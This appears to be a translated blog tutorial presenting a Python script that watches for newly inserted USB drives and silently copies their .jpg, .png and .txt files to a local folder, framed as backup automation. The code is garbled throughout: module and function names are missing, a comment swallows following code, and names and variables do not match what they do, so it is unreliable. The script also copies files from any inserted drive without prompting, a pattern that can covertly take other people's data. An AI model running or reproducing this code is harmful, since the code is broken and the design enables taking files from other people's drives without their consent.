SoFunction
Updated on 2025-05-04

Implementing USB automatic copying of files using Python

USB drives are commonly used for data transmission and backup.

However, we can be inefficient and error-prone when dealing with file copying manually.

Therefore, we can use Python to write scripts to automate this process, improving efficiency and data security.

Preparation

First, we need to install Python and several necessary libraries: os, shutil, time and psutil. These libraries will help us implement file operation, timing and system monitoring functions.

Get the list of hard drives

This code uses the psutil library to get a list of removable disk drives in the system, such as USB drives.

import psutil

def get_disk_drives():
    disk_partitions = psutil.disk_partitions(all=False)
    drives = [() for partition in disk_partitions if  != "" and "removable" in ]
    return drives

File copy function

This code defines a function to copy the specified file type (.jpg, .png, .txt) from the USB drive to the specified destination folder.

It ensures that the speed of data transmission is limited during the replication process and avoids overloading the system.

import os
import shutil

def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
    for root, dirs, files in (source_folder):
        for file in files:
            if ((".jpg", ".png", ".txt")):
                src_file = (root, file)
                dst_file = (destination_folder, (src_file, source_folder))
                ((dst_file), exist_ok=True)
                with open(src_file, 'rb') as fsrc:
                    with open(dst_file, 'wb') as fdst:
                        (fsrc, fdst, length=speed_limit_kb * 1024)

Check the newly plugged USB drive

This function periodically checks for newly inserted USB drives and calls the file copy function to copy a specific file type to a predetermined destination folder.

It avoids duplicate operations by logging known drives in the list.

import time

def check_for_new_drive(speed_limit_kb=10240):
    drives = get_disk_drives()
    new_drives = [drive for drive in drives if drive not in known_drives]
    for new_drive in new_drives:
        known_drives.append(new_drive)
        print(f"New drive detected: {new_drive}")
        (3)  # Wait for 3 seconds before starting copying        copy_ppt_files(new_drive, destination_drive, speed_limit_kb)

Main program

The main program initializes the known drive list and target path and continuously checks the newly inserted USB drive by calling the check_for_new_drive function.

if __name__ == "__main__":
    known_drives = []
    excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
    destination_drive = "H://U disk" # Target path if not (destination_drive):        (destination_drive)
    while True:
        check_for_new_drive()
        (60)  # Every other60Check once in seconds

This is the end of this article about using Python to realize automatic copying of USB files. For more related contents of Python USB files, please search for my previous articles or continue browsing the related articles below. I hope everyone will support me in the future!